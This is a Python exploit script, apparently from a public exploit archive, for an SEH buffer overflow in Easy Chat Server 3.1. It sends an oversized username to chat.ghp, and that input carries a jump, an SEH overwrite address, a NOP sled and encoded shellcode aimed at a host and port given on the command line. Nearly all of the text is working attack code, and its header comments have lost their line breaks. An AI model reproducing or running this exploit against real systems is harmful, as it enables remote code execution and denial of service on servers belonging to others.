# Exploit Author: Juan Sacco <jsacco@exploitpack.com># Vulnerability found using Exploit Pack v10 - http://exploitpack.com## Impact:# An attacker could exploit this vulnerability to execute arbitrary code in the# context of the application. Failed exploit attempts will result in adenial-of-service condition.## Program description:# Easy Chat Server is a easy, fast and affordable way to host and manage your own real-time communication software,# it allows friends/colleagues to chat with you through a Web Browser (IE, Safari, Chrome, Opera etc.)# Vendor page: http://www.echatserver.com/
import string, sys
import socket, httplib
import struct
def exploit():
try:
junk = '\x41'* 217
shortjmp = "\xeb\x08\xcc\xcc"# Jump over SEH
seh = struct.pack('<L', 0x100154c5)# ADD ESP,2C # POP ESI # ADD ESP,0C # RETN** [SSLEAY32.dll] ** | {PAGE_EXECUTE_READ}
buffersize = 2775
nops = "\x90"# debug = "\xcc\xcc\xcc\xcc"
shellcode = ("\xbb\xc7\x16\xe0\xde\xda\xcc\xd9\x74\x24\xf4\x58\x2b\xc9\xb1""\x33\x83\xc0\x04\x31\x58\x0e\x03\x9f\x18\x02\x2b\xe3\xcd\x4b""\xd4\x1b\x0e\x2c\x5c\xfe\x3f\x7e\x3a\x8b\x12\x4e\x48\xd9\x9e""\x25\x1c\xc9\x15\x4b\x89\xfe\x9e\xe6\xef\x31\x1e\xc7\x2f\x9d""\xdc\x49\xcc\xdf\x30\xaa\xed\x10\x45\xab\x2a\x4c\xa6\xf9\xe3""\x1b\x15\xee\x80\x59\xa6\x0f\x47\xd6\x96\x77\xe2\x28\x62\xc2""\xed\x78\xdb\x59\xa5\x60\x57\x05\x16\x91\xb4\x55\x6a\xd8\xb1""\xae\x18\xdb\x13\xff\xe1\xea\x5b\xac\xdf\xc3\x51\xac\x18\xe3""\x89\xdb\x52\x10\x37\xdc\xa0\x6b\xe3\x69\x35\xcb\x60\xc9\x9d""\xea\xa5\x8c\x56\xe0\x02\xda\x31\xe4\x95\x0f\x4a\x10\x1d\xae""\x9d\x91\x65\x95\x39\xfa\x3e\xb4\x18\xa6\x91\xc9\x7b\x0e\x4d""\x6c\xf7\xbc\x9a\x16\x5a\xaa\x5d\x9a\xe0\x93\x5e\xa4\xea\xb3""\x36\x95\x61\x5c\x40\x2a\xa0\x19\xbe\x60\xe9\x0b\x57\x2d\x7b""\x0e\x3a\xce\x51\x4c\x43\x4d\x50\x2c\xb0\x4d\x11\x29\xfc\xc9""\xc9\x43\x6d\xbc\xed\xf0\x8e\x95\x8d\x97\x1c\x75\x7c\x32\xa5""\x1c\x80")
buffer = junk + shortjmp + seh + nops *(buffersize -(len(shellcode)))+ shellcode
print buffer
URL = '/chat.ghp?username='+ buffer +'&password=null&room=1&null=2'
conn = httplib.HTTPConnection(host, port)
conn.request('GET', URL)
conn.close()
except Exception as Error:
print "[!] Something went wrong!"
print Error
def howtousage():
print "[!] Sorry, minimum required arguments: [host] [port]"
sys.exit(-1)if __name__ == '__main__':
print "[*] EChat Server v3.1 CHAT.ghp (UserName)"
print "[*] Author: Juan Sacco <jsacco@exploitpack>"try:
host = sys.argv[1]
port = sys.argv[2]
except IndexError:
howtousage()
exploit()
